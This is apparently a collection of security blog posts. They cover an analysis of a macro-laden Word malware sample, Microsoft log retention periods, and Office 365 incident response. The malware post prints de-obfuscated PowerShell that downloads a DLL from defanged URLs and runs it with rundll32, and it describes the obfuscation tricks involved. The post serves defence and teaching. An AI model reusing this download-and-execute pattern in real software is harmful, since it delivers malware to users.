Microsoft Word Malware Example

Microsoft Word Malware Example

Most malware creators are very creative. Hiding content, obfuscate malicious code, or trick people into clicking messages forcing the malware to run. This blog post will go through real-world Microsoft Word malware to show how nifty some malware can be.

Malicious Word Document

In this example, I will use a real-world example found on the internet. The file is a Microsoft Word document named “Form – Apr 04_2021.doc”:

Image 1: Malicious Word document

The first thing you might notice is the file extension. Since .docx files cannot be used to store macros, malware creators often use the older .doc file extension.

Let us open the document and see what we got:

Image 2: Malicious Word document asking to enable content

Multiple things should catch your attention. Obviously, the “Enable Content” message and the image forcing people to click the “Enable Content” button. There are also 5926 words, and I do not see any words showing in the Word document itself. Lets “select all” using CTRL+A to see if there is any hidden content:

Image 3: 5926 of 5926 words selected

That is odd. Once you select all text, it shows “5926 of 5926 words” on the bottom left. It looks like some text is behind the image. Let us remove the image to see what is behind it. Unfortunately, because of an editing restriction, the image does not move, nor can it be deleted:

Image 4: The image does not move nor can it be deleted

Let us try and remove the restriction using the “Restrict Editing” option:

Image 5: Info / Protect Document / Restrict Editing

Once you click the “Restrict Editing” option, you have an option to stop the protection on the bottom right:

Image 6: Stop Protection option on the bottom right

Once you click the “Stop Protection,” no restriction is set, and the document is editable:

Image 7: No restrictions on the document

Simply deleting the image shows us the 5926 words with white font and font size 2:

Image 8: Hidden text with white font and font size 2

To see what the text contains, we select a black font and a bigger font size:

Image 9: Black font and a bigger font size

It looks like a base64 encoded string, but something is off. To understand what it is, we have to look at the macro. This particular macro uses the hidden text to create a valid base64 encoded string:

Image 10: Obfuscated macro

To bypass Endpoint Detection and Response, attackers obfuscate their macros. This particular macro uses the hidden text to create a valid base64 encoded string. We can try and de-obfuscate the macro, or we can enable PowerShell auditing and check the logging for the base64 encoded string.

Using a local policy, we can allow auditing to capture the base64 string used in this malware:

Image 11: Computer Configuration / Administrative templates / Windows Components / Windows PowerShell

Enable the macro, which starts audit logging and saves the logs in the event viewer:

Image 12: Turn on PowerShell Script Block Logging

Now that we have auditing enabled, click “Enable Content.” The following message box will appear:

Image 13: Fake macro message

Looking in the event viewer shows us a remarkable command (sYSTEm.NeT.wEbcLIEnT) with upper and lower-case characters (often used in malware to bypass signature-based scanning):

Image 14: Upper and lower-case character command to bypass signature based scanning

If we scroll down, we can see the base64 encoded command:

Image 15: Base64 encoded string often used in malware

Let us use PowerShell to decode the base64 encoded string:

Image 16: Variable with base64 encoded string

Use the following command to decode the base64 string:

Image 17: Decode base64 string

Once the base64 encoded string decoded, it still does not make a lot of sense:

Image 18: Decoded string

let us copy the code to a PowerShell editor:

Image 19: More readable code

A sharp eye notices the download file and rundll32, which loads a DLL file. You can see a variable that contains URLs, but it is hard to read. Let us use PowerShell to de-obfuscate the code:

Image 20: Copy the variable in PowerShell to de-obfuscate code

The de-obfuscated code looks like this:

Set-Variable ydTUW ([type]("System.IO.Directory"))
Set-Variable uaXKHR ([type]("System.Net.ServicePointManager"))

( Get-Item variable:ydtuw  ).value::"createDirectory"($HOME + (('{\Xk8f0bt\B7mwavb\')))
( Get-Item ('variable:UAXkHr')).value::"securityprotocol" = ('Tls12')

$Vzrcqt5 = $HOME + "\Xk8f0bt\B7mwavb\G14C.dll"

$U7_xeo1 = @("hxxp://", "hxxp://", "hxxps://", `
        "hxxps://", "hxxps://", "hxxps://", "hxxps://")

foreach ($A8ty2bf in $U7_xeo1) {
    try {
        (.('New-Object')"downloadfile"($A8ty2bf, $Vzrcqt5)
        If ((.('Get-Item') $Vzrcqt5)."length" -ge 32213) {
            &('rundll32') $Vzrcqt5, (('anystring'))."tostring"()
    catch {

The URLs used in this example do not work anymore, but if you could go to the URL, it downloads a DLL file as expected. Luckily, SmartScreen blocks all URLs as well:

Image 21: SmartScreen blocking malicious URLs


So what this malware does is the following:

  1. Hide a base64 encoded string behind a restricted editing image.
  2. Uses macros to de-obfuscate the base64 string used to download a malicious file.
  3. Runs obfuscated code in PowerShell to download a malicious DLL file and runs the DLL using rundll32.


There are a lot of mitigations for this type of attack. As for any attack, user awareness is always critical, but here are some technical mitigations:

As you can see in the last screenshot, Microsoft Defender SmartScreen blocks malicious websites. SmartScreen scans the website for malicious content and helps to identify malicious websites by blocking them. Be sure to enable Microsoft Defender SmartScreen.

Microsoft Defender for Endpoint detects this payload since the DLL file is downloaded and scanned from the disk. More sophisticated malware using a technique called “Living off the Land”, and makes it possible to run the malware in memory and not touch the disk to bypass Endpoint Detection and Response. If the DLL file is malicious, it will get flagged by a proper Endpoint Detection and Response like Microsoft Defender for Endpoint.

Disabling macros is also an option. Not everyone needs to run macros. As it is a typical attack, disabling macros for most people should be an option.

Not accepting files with the .doc or .docm extension should mitigate this type of attack as well since .docx (the newer format) does not support macros.

The Microsoft Word document needs to be delivered to the user. A typical attack is sending the Microsoft Word document by e-mail. Microsoft Defender for Office 365 blocks most malicious payload and is one of the best mitigations for this type of attack.

As you can see, there are a lot of mitigations for this type of attack. Layered security is key here, and if properly configured, most Microsoft security products block this attack.


Although malware creators are very creative, one misstep will block the malware. Even if Microsoft Defender SmartScreen does not detect the malicious website, other Microsoft security products will block this attack. Luckily this malware was blocked by Microsoft Defender for Endpoint since the malicious payload is saved to disk, which makes it easy to detect. If it was not detected, the attacker would get caught in one of the next steps for sure.

Microsoft Log Retention Overview

Microsoft Log Retention Overview

For most Microsoft products, data retention is 30 days. However, it depends on some products if you use the free or paid version of the product, and some products do not allow you to change to the retention period at all. To get a clear overview, I created a table with the most common Microsoft products with their retention period.

Microsoft Log Retention

Microsoft Azure AD FreeAudit Logs7 days7 days7 days
Microsoft Azure AD FreeSign-in Logs7 days7 days7 days
Microsoft Azure AD FreeAzure MFA Usage30 days30 days30 days
Microsoft Azure AD FreeUsers at risk7 days7 days7 days
Microsoft Azure AD FreeRisky sign-ins7 days7 days7 days
Microsoft Azure AD PremiumAudit Logs30 days30 days30 days
Microsoft Azure AD PremiumSign-in Logs30 days30 days30 days
Microsoft Azure AD PremiumAzure MFA Usage30 days30 days30 days
Microsoft Azure AD Premium P1Users at risk30 days30 days30 days
Microsoft Azure AD Premium P1Risky sign-ins30 days30 days30 days
Microsoft Azure AD Premium P2Users at risk90 days90 days90 days
Microsoft Azure AD Premium P2Risky sign-ins90 days90 days90 days
Microsoft Defender for EndpointData Retention30 days180 days180 days
Microsoft Cloud App SecurityActivity Logs180 days180 days180 days
Microsoft Cloud App SecurityDiscovery Data90 days90 days90 days
Microsoft Cloud App SecurityAlerts180 days180 days180 days
Microsoft Cloud App SecurityGovernance Logs120 days120 days120 days
Microsoft Defender for IdentityAudit Logs90 days90 days90 days
Microsoft Defender for Office 365 P1Real-time Detections30 days30 days30 days
Microsoft Defender for Office 365 P2Threat Explorer30 days30 days30 days
Microsoft Azure Log Analytics FreeData Retention30 days30 days30 days
Microsoft Azure Log Analytics PaidData Retention30 days730 days30 days
Microsoft Office 365Basic Audit Logs90 days90 days90 days
Microsoft Office 365Advanced Audit Logs365 days365 days365 days
Microsoft Office 365Message Trace90 days90 days90 days
Table 1: Microsoft Log Retention Overview


Not all products allow you to change the retention period, and some products come with an additional cost when changing the retention period. However, this is not always the case. When a Log Analytics Workspace is attached to Sentinel, data retention if free for 90 days.

Suppose you want to extend the retention period longer than the maximum period. In that case, you need to send the logs to a Security Information and Event Management (SIEM) solution or send it to an Azure Log Analytics workspace if the product supports it.

Microsoft Office 365 Incident Response using the Microsoft Graph Security API

Microsoft Office 365 Incident Response using the Microsoft Graph Security API

During an incident, you want to do your analysis as quickly and as precisely as possible. Although there are many scripts available to do proper research within Microsoft 365, if you are working with Exchange Online, OneDrive, SharePoint, they all need separate modules. Not to mention that Exchange Online sometimes need multiple modules depending on what data you want to extract. Using numerous modules can be a pain due to numerous logins that are required.

I wanted to create a ‘One ring to rule them all’ for any incident response within Microsoft 365, which is Operating System independent, runs natively on Windows, and works with or without Multi-Factor Authentication. PowerShell runs on Linux, macOS, natively on Windows, and it happens to be a language I somewhat understand.

Since many Microsoft security products and services connect to the Microsoft Graph Security API, I have chosen to use PowerShell in combination with the Microsoft Graph Security API.

App Registration

To communicate to the Microsoft Graph Security API, you need an app registration. If you create an app registration, be sure you select the Microsoft graph and Application Permissions.

Note: During the application registration, write down the application ID, the client secret, and the tenant name.

Figure 1: Azure AD API Permissions Microsoft Graph
Figure 2: Azure AD Permissions Applications Permissions

Add the following API permissions.


Research Questions

The idea of answering a research question is to run a function, export the outcome to a JSON file, and filter the JSON file if needed. The sign-in logs, for example, contain a lot of information. Using your favorite tool, you can extract what research question you would like to answer. The export includes the location of the login. A simple query makes it possible to filter all logins outside the company’s country to get an overview of potential malicious logins.


The first thing you need to do is getting a token using the app registration you created previously.

RR-GetAccessToken -appId 'XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX' -appSecret 'XXXXXXXX' -tenantName ""

Once you have a token, you can use the functions described below.

Note: The token expires in one hour. I have not had this issue myself that a function runs more than an hour, but I am looking to add a refresh token to the script. You can always request a new token described above, which is valid for another hour.


The first thing to look for is licenses. If the tenant contains an Office 365 Advanced Threat Protection license, it helps during the investigation. Or if the tenant contains an Azure AD Premium license, you know the logs in Azure AD go back one month instead of seven days.

I recommend starting with an output of the licenses to see what tools can help during the investigation.



Accepted domains are used in the tenant to sent and receive e-mail. The function RR-GetAcceptedDomains can extract all accepted domains within the tenant.

Getting all accepted domains is helpful to validate which domain names accept e-mail within the tenant.



Many attackers create inbox rules for persistence or hiding footprints. With the function RR-GetInboxRules you can export all inbox rules within the tenant or for a particular user.

RR-GetInboxRules -userPrincipalName


The RR-GetSignins functions export all Azure AD sign-ins within the tenant or for a particular user. The sign-in logs contain a lot of information like the user-agent, location of the sign-in, etc.

RR-GetSignins -userPrincipalName


The RR-GetAuditLogs functions export all Azure AD audit logs within the tenant or for a particular user.

RR-GetAuditLogs -userPrincipalName


The function RR-GetEmailBySubject searches for any e-mail with a given subject.

RR-GetEmailBySubject -subject "thalpius"


The function RR-GetEmailByBody searches for any e-mail with a given keyword in the body of the e-mail.

RR-GetEmailByBody -bodyKeyword "thalpius"


This function gives you the ability to extract all usernames with a given attachment filename in their mailbox.

RR-GetAttachment -fileName ""


This function gives you the ability to extract attachments to check if it is malicious. It exports all attachments from a user’s mailbox or extracts the attachment itself if you use the attachmentId. The attachment is Base64 encoded. Decode the encoded string in the output to get the binary.

RR-GetAttachments -userPrincipalName
RR-GetAttachments -userPrincipalName -extension ".zip"
RR-GetAttachments -userPrincipalName -attachmentId XXXX-XXXXXX-XXXX


In an illicit consent grant attack, the attacker creates an Azure-registered application that requests access to data such as contact information and e-mail. This function exports all app registrations within the tenant, including the owner.



Every function adds the data to an array. Once you are done running all functions you think you need, RR-OutputArray creates a JSON file with all data. You can filter the data if needed using your favorite scripting language.

RR-OutputArray -outputLocation 'c:\users\thalpius\incidentResponse\output.json'


Check out the script on my GitHub page. If you are missing any research questions, please let me know or add a GitHub issue and I will do my best to add it to the script.

Note: Do not forget to remove the Microsoft Graph Security API permissions once the investigation is completed.

Microsoft Office 365 Incident Response using the Portal

Microsoft Office 365 Incident Response using the Portal

A Computer Emergency Response Team (CERT) is a group of information security experts responsible for responding to an organization’s cybersecurity incident. When an event occurs within Office 365, many products can help identify and mitigate the threat, including Microsoft Office 365 Advanced Threat Protection (ATP). Microsoft Office 365 ATP is part of Office 365 E5, Microsoft 365 E5, or Microsoft Security E5. Other tools within the Microsoft 365 E5 suite can help you identifying and mitigating an incident, but what if you do not have an E5 license? In this blog post, I will go more in-depth about what to do if you do not have Microsoft Office 365 ATP with just the portal on a single identity.

Litigation Hold

The first thing I would recommend to do during an incident within Office 365 is to check if a mailbox needs a Litigation Hold. Litigation Hold can preserve all mailbox content, including deleted items and original versions of modified items. The second thing I would recommend is to check what license plans are available within the tenant. Looking at the license plans helps identify which tools are available within the tenant. The last thing I would recommend is to be in control as quickly as possible. If you identified a compromised user, initiate a password reset as soon as possible to prevent lateral movement. Do not forget to sign-out this all Office 365 sessions.

Initiate Sign-out

To initiate a sign-out from all Office 365 sessions, go to Users > Active users from within the Office 365 portal, click on the user account to open the user’s properties page, and click initiate sign-out.

Unfortunately, this does not mean you are in control of the situation. One of my biggest concerns is: What did the attacker find in the mailbox? Did the attacker recover a password that the attacker can use to login to another inbox and get undetected? Did the attacker recover a password for a third-party application outside the tenant, but which can have a business impact?

Search History

If there is any indication that an attacker was logged-in to a mailbox, you can search for malicious activities. There is an option to export all search history, which can help identify what the attacker was looking for in the inbox. Exporting the search history can be done by going to Settings in the top right corner within Office 365, click on View all Outlook settings, go to General, go to Privacy and data.

Figure 1: Export Search History

Most hackers use persistence to keep a connection to the inbox. Persistence can be as simple as mail forwarding rules, inbox rules, or a combination of the two.

Forwarding Rules

To get the forwarding rules and inbox rules, go to Settings in the top right corner within Office 365, click on View all Outlook settings, go to Mail, followed by Forwarding and Rules.

Figure 2: Inbox Forwarding
Figure 3: Inbox Rules

Deleted Items

Most hackers want to be undetected as long as possible. A way to be undetected is to delete all incoming e-mails using a rule and remove them from the deleted items. Luckily, the recovery of these items is possible: Open the user’s inbox, go to Deleted Items, and click Recover items deleted from this folder.

Figure 4: Recover Deleted Items

Illicit Consent

Illicit consent grant attack is an attack where a malicious user creates an Azure-registered application that requests access to data such as contact information, e-mail, or documents. The malicious user needs to trick a victim into going to a website and grant access to their account.

To check if a user granted application consent to access their data., go to Azure Active DirectoryUsers, Select the user, and click Applications. Be sure the list does not contain malicious applications.

Figure 5: Registered Applications

s and Audit logs

The sign-ins and audit logs from the Azure Active Directory give you a lot of information about the identity. The Sign-ins and audit logs include the location of sign-in, IP address, client application used, user agent, device info, identity activities, etc.

To get the Sign-ins and Audit logs, go to Azure Active DirectoryUsers, Select the user, and click Sign-ins or Audit logs.

Figure 6: Sign-ins logs

Content Search

Use the Content search and Audit log search to find all tenant activities, including file activity, folder activity, SharePoint list activity, Exchange mailbox activity, etc. You can use the content search tool to search for e-mail, documents, and instant messaging conversations based on conditions like date, sender, recipients, subject, etc.

Note: Audit log search is not turned on by default. Microsoft is changing the default option, so it is enabled by default soon. If the option is disabled, you will see a message saying Turn on auditing.

Figure 7: Audit log search


With eDiscovery, you can do the same as with Content search, but now you are creating a case that you can use to handle the incident. You can add engineers to the case, set mailboxes and data on hold that are part of the case, etc. Advanced eDiscovery is the same as eDiscovery, except you get many more settings and options.

Figure 8: e-Discovery

Message Trace

To track the flow of e-mail messages in your organization, you use Message Trace. If you want to know which e-mail sent to whom in what time range, Message Trace is the tool within the portal.

Figure 9: Message trace

View Alerts

The last view I can recommend is the Alert View. The alert view gives a good overview of any risk level alerts available within the tenant.

Figure 10: View alerts


With just the portal and no E5 licenses, it is “hard” to investigate an incident. In another blog post, I will go in-depth to do a proper analysis with tooling like PowerShell.

Microsoft PowerShell Unhide

Microsoft PowerShell Unhide

PowerShell supports a command line parameter “WindowStyle” as shown below. The parameter “WindowStyle” sets the window style for that session. Valid values are Normal, Minimized, Maximized, and Hidden.

    [-PSConsoleFile <file> | -Version <version>]
    [-InputFormat {Text | XML}]
    [-OutputFormat {Text | XML}]
    [-WindowStyle <style>]
    [-EncodedCommand <Base64EncodedCommand>]
    [-ConfigurationName <string>]
    [-File - | <filePath> <args>]
    [-ExecutionPolicy <ExecutionPolicy>]
    [-Command - | { <script-block> [-args <arg-array>] }
                | { <string> [<CommandParameters>] } ]

Unhide PowerShell

Most malicious PowerShell scripts run PowerShell with the window style “Hidden”. When the process starts with WindowStyle hidden, no PowerShell console is displayed, so it runs unnoticed for the logged-in user. I created a script to unhide all PowerShell processes. This script can be used during a CERT incident when you want to unhide all PowerShell shells to see what commands are used.

Figure 1: WindowStyle Hidden and unhide PowerShell


There are ways to log PowerShell commands, but when logs are cleared, unhiding is an option.

The PowerShell script can be found here.